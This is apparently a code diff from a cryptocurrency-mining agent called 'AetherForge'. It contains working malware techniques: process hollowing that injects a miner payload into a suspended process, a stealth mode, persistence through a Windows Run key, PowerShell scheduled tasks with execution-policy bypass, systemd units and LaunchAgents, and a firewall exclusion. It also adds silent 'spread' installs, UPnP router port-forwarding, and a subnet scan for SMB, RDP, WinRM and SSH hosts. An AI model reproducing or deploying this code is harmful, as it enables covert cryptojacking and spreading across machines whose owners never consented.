uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
|
||||
}
|
||||
|
||||
sectionsStart := 24 + uint32(sizeOfOptHdr)
|
||||
patchedNT := patched[eLFANew:]
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
|
||||
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
|
||||
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
||||
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
|
||||
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
|
||||
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
|
||||
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
|
||||
|
||||
if sizeOfRawData > 0 {
|
||||
procWriteProcessMemory.Call(
|
||||
if rawSize > 0 {
|
||||
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
newMem+uintptr(virtAddr),
|
||||
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
|
||||
uintptr(sizeOfRawData),
|
||||
uintptr(unsafe.Pointer(&patched[rawOff])),
|
||||
uintptr(rawSize),
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Update the PEB with the new ImageBase
|
||||
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
|
||||
// 8. Update PEB.ImageBaseAddress to the actual allocation address.
|
||||
procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process), uintptr(rdx+16),
|
||||
uintptr(unsafe.Pointer(&newMem)), 8,
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
|
||||
// 7. Update the Thread Context to point to our payload's Entry Point
|
||||
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
|
||||
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
// 9. Set the initial thread's Rcx to our entry point.
|
||||
// The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
|
||||
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
|
||||
ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("SetThreadContext: %v", lastErr)
|
||||
}
|
||||
|
||||
// 8. Resume the hollowed thread, launching our miner inside the target shell
|
||||
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
|
||||
// 10. Resume the hollowed thread.
|
||||
ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
|
||||
if ret == 0xFFFFFFFF {
|
||||
return fmt.Errorf("ResumeThread failed: %v", err)
|
||||
return fmt.Errorf("ResumeThread: %v", lastErr)
|
||||
}
|
||||
|
||||
return nil
|
||||
|
||||
@@ -23,6 +23,14 @@ func EnsureAgentID(installDir string) (string, error) {
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// loadOrCreateAgentID reuses an existing agent.id when re-running spread install.
|
||||
func loadOrCreateAgentID(installDir string) (string, error) {
|
||||
if id, err := LoadAgentID(installDir); err == nil && id != "" {
|
||||
return id, nil
|
||||
}
|
||||
return EnsureAgentID(installDir)
|
||||
}
|
||||
|
||||
// LoadAgentID returns the persisted agent ID from the install directory.
|
||||
func LoadAgentID(installDir string) (string, error) {
|
||||
path := filepath.Join(installDir, agentIDFile)
|
||||
|
||||
@@ -2,40 +2,31 @@ package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
const runFlag = "--run"
|
||||
|
||||
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
|
||||
// and relaunches the miner from there. Returns true when the current process should exit.
|
||||
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
if isRunMode() {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
currentExe, err := CurrentExecutable()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == runFlag {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
installDir, err := resolveInstallDirWithFallback(cfg)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
installedBin := filepath.Join(installDir, BinaryName(cfg))
|
||||
|
||||
if samePath(currentExe, installedExe) {
|
||||
if samePath(currentExe, installedBin) {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
@@ -43,12 +34,12 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
return false, fmt.Errorf("create install dir: %w", err)
|
||||
}
|
||||
|
||||
if err := copyFile(currentExe, installedExe); err != nil {
|
||||
if err := copyFile(currentExe, installedBin); err != nil {
|
||||
return false, fmt.Errorf("copy miner: %w", err)
|
||||
}
|
||||
_ = saveBackup(installedExe)
|
||||
_ = saveBackup(installedBin)
|
||||
|
||||
agentID, err := EnsureAgentID(installDir)
|
||||
agentID, err := loadOrCreateAgentID(installDir)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("agent id: %w", err)
|
||||
}
|
||||
@@ -58,151 +49,43 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
logPath = ""
|
||||
}
|
||||
|
||||
if !cfg.StealthMode {
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
|
||||
)), 0644)
|
||||
writeInstalledMarker(cfg, installDir, installedBin, agentID)
|
||||
|
||||
if wantsSpreadInstall() {
|
||||
_ = setFirstRunSpreadMarker(installDir)
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := configureRunMode(cfg, installedExe); err != nil {
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
EnsureFirewallExclusion(cfg, installedExe)
|
||||
EnsureFirewallExclusion(cfg, installedBin)
|
||||
|
||||
if err := relaunch(installedExe, logPath); err != nil {
|
||||
if err := relaunch(installedBin, logPath); err != nil {
|
||||
return false, fmt.Errorf("start installed miner: %w", err)
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err == nil {
|
||||
return dir, nil
|
||||
// SpreadInstall performs silent install from a spread-kit launcher (same as InstallIfNeeded).
|
||||
func SpreadInstall(cfg config.RuntimeConfig) (bool, error) {
|
||||
if isLocalhostURL(cfg.ServerURL) {
|
||||
LogSpreadError("preflight", fmt.Errorf("server URL is localhost — workers on other machines cannot reach the command deck; re-forge with your LAN IP"))
|
||||
}
|
||||
|
||||
fallbacks := []string{"localappdata", "appdata", "temp"}
|
||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||
for _, base := range fallbacks {
|
||||
if seen[base] {
|
||||
continue
|
||||
}
|
||||
seen[base] = true
|
||||
try := cfg
|
||||
try.InstallBase = base
|
||||
dir, tryErr := try.InstallDirectory()
|
||||
if tryErr == nil {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: workerName,
|
||||
BuildID: buildID,
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
},
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
ok, err := InstallIfNeeded(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
LogSpreadError("spread-install", err)
|
||||
return ok, err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
||||
taskName := PersistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(exePath, `'`, `''`),
|
||||
runFlag,
|
||||
strings.ReplaceAll(taskName, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||
return replacer.Replace(strings.TrimSpace(name))
|
||||
}
|
||||
|
||||
func samePath(a, b string) bool {
|
||||
a = filepath.Clean(a)
|
||||
b = filepath.Clean(b)
|
||||
if strings.EqualFold(a, b) {
|
||||
return true
|
||||
}
|
||||
aAbs, errA := filepath.Abs(a)
|
||||
bAbs, errB := filepath.Abs(b)
|
||||
if errA != nil || errB != nil {
|
||||
return false
|
||||
}
|
||||
return strings.EqualFold(aAbs, bAbs)
|
||||
}
|
||||
|
||||
func copyFile(src, dest string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
if ok {
|
||||
LogSpreadInfo("spread-install complete — worker relaunched from install dir")
|
||||
}
|
||||
return ok, err
|
||||
}
|
||||
|
||||
343
agent/deploy/natpunch.go
Normal file
343
agent/deploy/natpunch.go
Normal file
@@ -0,0 +1,343 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const ssdpAddr = "239.255.255.250:1900"
|
||||
|
||||
// NATPunchResult reports a UPnP port mapping attempt.
|
||||
type NATPunchResult struct {
|
||||
Success bool
|
||||
ExternalIP string
|
||||
ExternalPort int
|
||||
InternalPort int
|
||||
Method string
|
||||
Message string
|
||||
}
|
||||
|
||||
var (
|
||||
reLocation = regexp.MustCompile(`(?i)LOCATION:\s*(\S+)`)
|
||||
reControl = regexp.MustCompile(`(?i)<controlURL>([^<]+)</controlURL>`)
|
||||
reService = regexp.MustCompile(`(?i)urn:schemas-upnp-org:service:(WANIPConnection|WANPPPConnection):1`)
|
||||
)
|
||||
|
||||
// PunchUPnP maps externalPort -> internalPort on the local router via IGD UPnP.
|
||||
func PunchUPnP(internalPort, externalPort int, description string) (NATPunchResult, error) {
|
||||
if internalPort <= 0 {
|
||||
internalPort = 8989
|
||||
}
|
||||
if externalPort <= 0 {
|
||||
externalPort = internalPort
|
||||
}
|
||||
if description == "" {
|
||||
description = "AetherForge"
|
||||
}
|
||||
|
||||
location, err := discoverIGDLocation(4 * time.Second)
|
||||
if err != nil {
|
||||
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
|
||||
}
|
||||
|
||||
controlURL, err := resolveWANControlURL(location)
|
||||
if err != nil {
|
||||
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
|
||||
}
|
||||
|
||||
extIP, err := upnpGetExternalIP(controlURL)
|
||||
if err != nil {
|
||||
return NATPunchResult{Method: "upnp", Message: "GetExternalIP failed: " + err.Error()}, err
|
||||
}
|
||||
|
||||
if err := upnpAddPortMapping(controlURL, externalPort, internalPort, description); err != nil {
|
||||
return NATPunchResult{
|
||||
Method: "upnp",
|
||||
ExternalIP: extIP,
|
||||
ExternalPort: externalPort,
|
||||
InternalPort: internalPort,
|
||||
Message: err.Error(),
|
||||
}, err
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf("UPnP mapped %s:%d -> local :%d (%s)", extIP, externalPort, internalPort, description)
|
||||
return NATPunchResult{
|
||||
Success: true,
|
||||
ExternalIP: extIP,
|
||||
ExternalPort: externalPort,
|
||||
InternalPort: internalPort,
|
||||
Method: "upnp",
|
||||
Message: msg,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// CloseUPnP removes a UPnP port mapping.
|
||||
func CloseUPnP(externalPort int) (string, error) {
|
||||
if externalPort <= 0 {
|
||||
return "", fmt.Errorf("external port required")
|
||||
}
|
||||
location, err := discoverIGDLocation(3 * time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
controlURL, err := resolveWANControlURL(location)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := upnpDeletePortMapping(controlURL, externalPort); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf("UPnP mapping removed for external port %d", externalPort), nil
|
||||
}
|
||||
|
||||
// GetPublicEndpoint returns WAN IP via UPnP when available.
|
||||
func GetPublicEndpoint() (string, error) {
|
||||
location, err := discoverIGDLocation(3 * time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
controlURL, err := resolveWANControlURL(location)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return upnpGetExternalIP(controlURL)
|
||||
}
|
||||
|
||||
func discoverIGDLocation(timeout time.Duration) (string, error) {
|
||||
conn, err := net.ListenPacket("udp4", ":0")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
target, _ := net.ResolveUDPAddr("udp4", ssdpAddr)
|
||||
search := []byte("M-SEARCH * HTTP/1.1\r\n" +
|
||||
"HOST: 239.255.255.250:1900\r\n" +
|
||||
"MAN: \"ssdp:discover\"\r\n" +
|
||||
"MX: 2\r\n" +
|
||||
"ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n" +
|
||||
"\r\n")
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.WriteTo(search, target); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
n, _, err := conn.ReadFrom(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
body := string(buf[:n])
|
||||
if m := reLocation.FindStringSubmatch(body); len(m) == 2 {
|
||||
return strings.TrimSpace(m[1]), nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("no UPnP IGD found on LAN (SSDP timeout)")
|
||||
}
|
||||
|
||||
func resolveWANControlURL(deviceLocation string) (string, error) {
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
resp, err := client.Get(deviceLocation)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
text := string(body)
|
||||
if !reService.MatchString(text) {
|
||||
return "", fmt.Errorf("WANIPConnection service not found in IGD description")
|
||||
}
|
||||
m := reControl.FindStringSubmatch(text)
|
||||
if len(m) != 2 {
|
||||
return "", fmt.Errorf("UPnP controlURL not found")
|
||||
}
|
||||
controlPath := strings.TrimSpace(m[1])
|
||||
base := deviceLocation
|
||||
if idx := strings.Index(base, "://"); idx >= 0 {
|
||||
if slash := strings.Index(base[idx+3:], "/"); slash >= 0 {
|
||||
base = base[:idx+3+slash]
|
||||
}
|
||||
}
|
||||
if strings.HasPrefix(controlPath, "http") {
|
||||
return controlPath, nil
|
||||
}
|
||||
if !strings.HasPrefix(controlPath, "/") {
|
||||
controlPath = "/" + controlPath
|
||||
}
|
||||
return base + controlPath, nil
|
||||
}
|
||||
|
||||
func upnpGetExternalIP(controlURL string) (string, error) {
|
||||
body := `<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:GetExternalIPAddress xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"/>
|
||||
</s:Body>
|
||||
</s:Envelope>`
|
||||
resp, err := upnpSOAP(controlURL, "GetExternalIPAddress", body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
type envelope struct {
|
||||
Body struct {
|
||||
Response struct {
|
||||
IP string `xml:"NewExternalIPAddress"`
|
||||
} `xml:"GetExternalIPAddressResponse"`
|
||||
} `xml:"Body"`
|
||||
}
|
||||
var env envelope
|
||||
if err := xml.Unmarshal(resp, &env); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ip := strings.TrimSpace(env.Body.Response.IP)
|
||||
if ip == "" {
|
||||
return "", fmt.Errorf("empty external IP from router")
|
||||
}
|
||||
return ip, nil
|
||||
}
|
||||
|
||||
func upnpAddPortMapping(controlURL string, externalPort, internalPort int, description string) error {
|
||||
localIP, err := primaryLocalIPv4()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
body := fmt.Sprintf(`<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewRemoteHost></NewRemoteHost>
|
||||
<NewExternalPort>%d</NewExternalPort>
|
||||
<NewProtocol>TCP</NewProtocol>
|
||||
<NewInternalPort>%d</NewInternalPort>
|
||||
<NewInternalClient>%s</NewInternalClient>
|
||||
<NewEnabled>1</NewEnabled>
|
||||
<NewPortMappingDescription>%s</NewPortMappingDescription>
|
||||
<NewLeaseDuration>0</NewLeaseDuration>
|
||||
</u:AddPortMapping>
|
||||
</s:Body>
|
||||
</s:Envelope>`, externalPort, internalPort, localIP, xmlEscape(description))
|
||||
_, err = upnpSOAP(controlURL, "AddPortMapping", body)
|
||||
return err
|
||||
}
|
||||
|
||||
func upnpDeletePortMapping(controlURL string, externalPort int) error {
|
||||
body := fmt.Sprintf(`<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewRemoteHost></NewRemoteHost>
|
||||
<NewExternalPort>%d</NewExternalPort>
|
||||
<NewProtocol>TCP</NewProtocol>
|
||||
</u:DeletePortMapping>
|
||||
</s:Body>
|
||||
</s:Envelope>`, externalPort)
|
||||
_, err := upnpSOAP(controlURL, "DeletePortMapping", body)
|
||||
return err
|
||||
}
|
||||
|
||||
func upnpSOAP(controlURL, action, body string) ([]byte, error) {
|
||||
req, err := http.NewRequest(http.MethodPost, controlURL, bytes.NewBufferString(body))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Header.Set("Content-Type", `text/xml; charset="utf-8"`)
|
||||
req.Header.Set("SOAPAction", fmt.Sprintf(`"urn:schemas-upnp-org:service:WANIPConnection:1#%s"`, action))
|
||||
client := &http.Client{Timeout: 10 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode >= 400 || bytes.Contains(data, []byte("errorCode")) {
|
||||
return nil, fmt.Errorf("UPnP SOAP %s failed: %s", action, strings.TrimSpace(string(data)))
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func primaryLocalIPv4() (string, error) {
|
||||
conn, err := net.Dial("udp4", "8.8.8.8:80")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
addr := conn.LocalAddr().(*net.UDPAddr)
|
||||
return addr.IP.String(), nil
|
||||
}
|
||||
|
||||
func xmlEscape(s string) string {
|
||||
s = strings.ReplaceAll(s, "&", "&")
|
||||
s = strings.ReplaceAll(s, "<", "<")
|
||||
s = strings.ReplaceAll(s, ">", ">")
|
||||
return s
|
||||
}
|
||||
|
||||
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
|
||||
func ScanLocalSubnet(maxHosts int) string {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
ips := getLocalIPs()
|
||||
if len(ips) == 0 {
|
||||
return "no local IPv4 interfaces found"
|
||||
}
|
||||
var b strings.Builder
|
||||
seen := 0
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
|
||||
for i := 1; i < 255 && seen < maxHosts; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue
|
||||
}
|
||||
open := probePorts(target, []int{445, 3389, 5985, 22})
|
||||
if len(open) > 0 {
|
||||
b.WriteString(fmt.Sprintf(" %s open: %s\n", target, strings.Join(intSliceStr(open), ", ")))
|
||||
seen++
|
||||
}
|
||||
}
|
||||
}
|
||||
if seen == 0 {
|
||||
b.WriteString("No hosts with SMB/RDP/WinRM/SSH responded in quick scan.")
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func probePorts(host string, ports []int) []int {
|
||||
var open []int
|
||||
for _, p := range ports {
|
||||
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(p)), 800*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
open = append(open, p)
|
||||
}
|
||||
}
|
||||
return open
|
||||
}
|
||||
|
||||
func intSliceStr(v []int) []string {
|
||||
out := make([]string, len(v))
|
||||
for i, n := range v {
|
||||
out[i] = strconv.Itoa(n)
|
||||
}
|
||||
return out
|
||||
}
|
||||
144
agent/deploy/platform_unix.go
Normal file
144
agent/deploy/platform_unix.go
Normal file
@@ -0,0 +1,144 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
path, err := os.Executable()
|
||||
if err != nil {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
return filepath.Abs(path)
|
||||
}
|
||||
|
||||
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
switch runtime.GOOS {
|
||||
case "darwin":
|
||||
return configureLaunchAgent(cfg, binPath)
|
||||
default:
|
||||
return configureSystemdUser(cfg, binPath)
|
||||
}
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
return configureAutoStart(cfg, installedBin)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func configureSystemdUser(cfg config.RuntimeConfig, binPath string) error {
|
||||
unitName := PersistenceKeyName(cfg) + ".service"
|
||||
unitDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
|
||||
if err := os.MkdirAll(unitDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
unitPath := filepath.Join(unitDir, unitName)
|
||||
content := fmt.Sprintf(`[Unit]
|
||||
Description=AetherForge Worker %s
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=%s %s
|
||||
Restart=always
|
||||
RestartSec=60
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
`, cfg.WorkerName, binPath, runFlag)
|
||||
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = exec.Command("systemctl", "--user", "daemon-reload").Run()
|
||||
_ = exec.Command("systemctl", "--user", "enable", unitName).Run()
|
||||
_ = exec.Command("systemctl", "--user", "start", unitName).Run()
|
||||
return nil
|
||||
}
|
||||
|
||||
func configureLaunchAgent(cfg config.RuntimeConfig, binPath string) error {
|
||||
label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
|
||||
plistDir := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
|
||||
if err := os.MkdirAll(plistDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
plistPath := filepath.Join(plistDir, label+".plist")
|
||||
content := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key><string>%s</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array><string>%s</string><string>%s</string></array>
|
||||
<key>RunAtLoad</key><true/>
|
||||
<key>KeepAlive</key><true/>
|
||||
<key>ProcessType</key><string>Background</string>
|
||||
</dict>
|
||||
</plist>
|
||||
`, label, binPath, runFlag)
|
||||
if err := os.WriteFile(plistPath, []byte(content), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = exec.Command("launchctl", "load", plistPath).Run()
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.Stdin = nil
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
}
|
||||
|
||||
func HostOSVersion() string {
|
||||
out, err := exec.Command("uname", "-sr").CombinedOutput()
|
||||
if err != nil {
|
||||
return runtime.GOOS
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
name := BinaryName(cfg)
|
||||
if runtime.GOOS == "darwin" {
|
||||
_ = exec.Command("pkill", "-f", name).Run()
|
||||
} else {
|
||||
_ = exec.Command("pkill", "-x", cfg.EffectiveProcessName()).Run()
|
||||
}
|
||||
}
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
switch runtime.GOOS {
|
||||
case "darwin":
|
||||
label := "com.aetherforge." + sanitizeName(keyName)
|
||||
plistPath := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents", label+".plist")
|
||||
_ = exec.Command("launchctl", "unload", plistPath).Run()
|
||||
_ = os.Remove(plistPath)
|
||||
default:
|
||||
unitName := keyName + ".service"
|
||||
_ = exec.Command("systemctl", "--user", "disable", unitName).Run()
|
||||
_ = exec.Command("systemctl", "--user", "stop", unitName).Run()
|
||||
